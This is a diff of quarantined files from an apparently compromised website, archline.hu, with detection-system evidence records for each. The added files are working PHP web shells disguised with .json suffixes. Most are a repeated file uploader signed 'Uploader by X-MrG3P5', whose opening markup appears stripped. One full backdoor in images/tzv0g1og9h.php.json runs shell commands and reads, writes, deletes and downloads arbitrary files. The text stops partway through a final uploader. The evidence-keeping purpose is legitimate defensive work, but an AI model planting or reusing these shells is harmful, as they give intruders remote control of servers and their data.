diff --git a/var/www/hosting/archline.hu/www/aewxw.php3.json b/var/www/hosting/archline.hu/www/aewxw.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/aewxw.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json b/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json new file mode 100644 index 0000000..211fb86 --- /dev/null +++ b/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2870", + "log_excerpt": "[quarantine] www.archline.hu:aewxw.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/aewxw.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811784, + "size": 448, + "uid": 20043 + }, + "rel_path": "aewxw.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/agfkv.php.json b/var/www/hosting/archline.hu/www/agfkv.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/agfkv.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json b/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json new file mode 100644 index 0000000..b21ccd2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2858", + "log_excerpt": "[quarantine] www.archline.hu:agfkv.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/agfkv.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792283, + "size": 448, + "uid": 20043 + }, + "rel_path": "agfkv.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/buigd.phtml.json b/var/www/hosting/archline.hu/www/buigd.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/buigd.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json new file mode 100644 index 0000000..dc1a80b --- /dev/null +++ b/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2875", + "log_excerpt": "[quarantine] www.archline.hu:buigd.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/buigd.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950924, + "size": 448, + "uid": 20043 + }, + "rel_path": "buigd.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/bwgfk.phar.json b/var/www/hosting/archline.hu/www/bwgfk.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/bwgfk.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json b/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json new file mode 100644 index 0000000..fcd19b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2888", + "log_excerpt": "[quarantine] www.archline.hu:bwgfk.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/bwgfk.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790437, + "size": 448, + "uid": 20043 + }, + "rel_path": "bwgfk.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json new file mode 100644 index 0000000..719fb88 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3117", + "log_excerpt": "[quarantine] www.archline.hu:cache/up_jg8ycx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813007, + "size": 448, + "uid": 20043 + }, + "rel_path": "cache/up_jg8ycx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json new file mode 100644 index 0000000..a49d4d3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3116", + "log_excerpt": "[quarantine] www.archline.hu:cache/up_mmbalc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812913, + "size": 448, + "uid": 20043 + }, + "rel_path": "cache/up_mmbalc.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cckcn.php3.json b/var/www/hosting/archline.hu/www/cckcn.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cckcn.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json b/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json new file mode 100644 index 0000000..5e2f9f3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2832", + "log_excerpt": "[quarantine] www.archline.hu:cckcn.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cckcn.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790445, + "size": 448, + "uid": 20043 + }, + "rel_path": "cckcn.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cmzqi.php.json b/var/www/hosting/archline.hu/www/cmzqi.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cmzqi.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json b/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json new file mode 100644 index 0000000..789df92 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2881", + "log_excerpt": "[quarantine] www.archline.hu:cmzqi.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cmzqi.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790435, + "size": 448, + "uid": 20043 + }, + "rel_path": "cmzqi.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json new file mode 100644 index 0000000..441569c --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4762", + "log_excerpt": "[quarantine] www.archline.hu:components/up_4v4hfn.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812944, + "size": 448, + "uid": 20043 + }, + "rel_path": "components/up_4v4hfn.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json new file mode 100644 index 0000000..592727c --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4768", + "log_excerpt": "[quarantine] www.archline.hu:components/up_eqs3oz.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813025, + "size": 448, + "uid": 20043 + }, + "rel_path": "components/up_eqs3oz.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cpjaz.php5.json b/var/www/hosting/archline.hu/www/cpjaz.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cpjaz.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json b/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json new file mode 100644 index 0000000..3a59e8b --- /dev/null +++ b/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2863", + "log_excerpt": "[quarantine] www.archline.hu:cpjaz.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cpjaz.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950927, + "size": 448, + "uid": 20043 + }, + "rel_path": "cpjaz.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/dhtwb.php.json b/var/www/hosting/archline.hu/www/dhtwb.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/dhtwb.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json b/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json new file mode 100644 index 0000000..b18daaf --- /dev/null +++ b/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2890", + "log_excerpt": "[quarantine] www.archline.hu:dhtwb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/dhtwb.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813993, + "size": 448, + "uid": 20043 + }, + "rel_path": "dhtwb.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/ebcvh.phar.json b/var/www/hosting/archline.hu/www/ebcvh.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/ebcvh.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json b/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json new file mode 100644 index 0000000..424c023 --- /dev/null +++ b/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2892", + "log_excerpt": "[quarantine] www.archline.hu:ebcvh.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/ebcvh.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950922, + "size": 448, + "uid": 20043 + }, + "rel_path": "ebcvh.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/efsfk.php5.json b/var/www/hosting/archline.hu/www/efsfk.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/efsfk.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json b/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json new file mode 100644 index 0000000..7131d3d --- /dev/null +++ b/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2926", + "log_excerpt": "[quarantine] www.archline.hu:efsfk.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/efsfk.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811781, + "size": 448, + "uid": 20043 + }, + "rel_path": "efsfk.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/fcjf1ich.php.json b/var/www/hosting/archline.hu/www/fcjf1ich.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/fcjf1ich.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json b/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json new file mode 100644 index 0000000..7e709da --- /dev/null +++ b/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2900", + "log_excerpt": "[quarantine] www.archline.hu:fcjf1ich.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/fcjf1ich.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812986, + "size": 448, + "uid": 20043 + }, + "rel_path": "fcjf1ich.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/friska.php.json b/var/www/hosting/archline.hu/www/friska.php.json new file mode 100644 index 0000000..3b95f25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/friska.php.json @@ -0,0 +1 @@ +'.$n.'';}}?>
\ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/friska.php.json.evidence.json b/var/www/hosting/archline.hu/www/friska.php.json.evidence.json new file mode 100644 index 0000000..9dc2727 --- /dev/null +++ b/var/www/hosting/archline.hu/www/friska.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2883", + "log_excerpt": "[quarantine] www.archline.hu:friska.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/friska.php.json)", + "original_sha256": "553db99b87d71437ec72b1eaa9e8eca909c116b78282a0a890f6604c5009af76", + "original_stat": { + "gid": 30037, + "mtime": 1783805293, + "size": 453, + "uid": 20043 + }, + "rel_path": "friska.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/humis.php.json b/var/www/hosting/archline.hu/www/humis.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/humis.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/humis.php.json.evidence.json b/var/www/hosting/archline.hu/www/humis.php.json.evidence.json new file mode 100644 index 0000000..d45d9cb --- /dev/null +++ b/var/www/hosting/archline.hu/www/humis.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2904", + "log_excerpt": "[quarantine] www.archline.hu:humis.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/humis.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811787, + "size": 448, + "uid": 20043 + }, + "rel_path": "humis.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/iarub.php7.json b/var/www/hosting/archline.hu/www/iarub.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/iarub.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json b/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json new file mode 100644 index 0000000..2457d8e --- /dev/null +++ b/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2854", + "log_excerpt": "[quarantine] www.archline.hu:iarub.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/iarub.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813984, + "size": 448, + "uid": 20043 + }, + "rel_path": "iarub.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json new file mode 100644 index 0000000..1714fc5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json @@ -0,0 +1,68 @@ +"; + system($cmd); + echo "
"; +} +if(isset($_GET["upload"])) { + if(isset($_FILES["file"])) { + $name = $_FILES["file"]["name"]; + move_uploaded_file($_FILES["file"]["tmp_name"], $name); + echo "Uploaded: " . $name; + } else { + echo '
+ + +
'; + } +} +if(isset($_GET["download"])) { + $file = $_GET["download"]; + if(file_exists($file)) { + header("Content-Type: application/octet-stream"); + header("Content-Disposition: attachment; filename=" . basename($file)); + readfile($file); + } else { + echo "File not found: " . $file; + } +} +if(isset($_GET["delete"])) { + $file = $_GET["delete"]; + if(unlink($file)) { + echo "Deleted: " . $file; + } else { + echo "Delete failed: " . $file; + } +} +if(isset($_GET["info"])) { + phpinfo(); +} +if(isset($_GET["dir"])) { + $dir = isset($_GET["dir"]) ? $_GET["dir"] : "."; + $files = scandir($dir); + foreach($files as $file) { + if($file != "." && $file != "..") { + echo $file . "\n"; + } + } +} +if(isset($_GET["read"])) { + $file = $_GET["read"]; + if(file_exists($file)) { + echo file_get_contents($file); + } else { + echo "File not found: " . $file; + } +} +if(isset($_GET["write"])) { + $file = $_GET["write"]; + $content = isset($_POST["content"]) ? $_POST["content"] : (isset($_GET["content"]) ? $_GET["content"] : ""); + if(file_put_contents($file, $content)) { + echo "Written: " . $file; + } else { + echo "Write failed: " . $file; + } +} +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json new file mode 100644 index 0000000..44f17c6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3462", + "log_excerpt": "[quarantine] www.archline.hu:images/tzv0g1og9h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json)", + "original_sha256": "b3cedb62555690bf309116f07bc6fd9beb53f3f58fd3e5fb1102636b084e5b50", + "original_stat": { + "gid": 30037, + "mtime": 1783951699, + "size": 1889, + "uid": 20043 + }, + "rel_path": "images/tzv0g1og9h.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json new file mode 100644 index 0000000..bd836af --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3504", + "log_excerpt": "[quarantine] www.archline.hu:images/up_c82lkd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812991, + "size": 448, + "uid": 20043 + }, + "rel_path": "images/up_c82lkd.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json new file mode 100644 index 0000000..1d256f7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3511", + "log_excerpt": "[quarantine] www.archline.hu:images/up_z46hdr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812891, + "size": 448, + "uid": 20043 + }, + "rel_path": "images/up_z46hdr.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/jjslj.php3.json b/var/www/hosting/archline.hu/www/jjslj.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jjslj.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

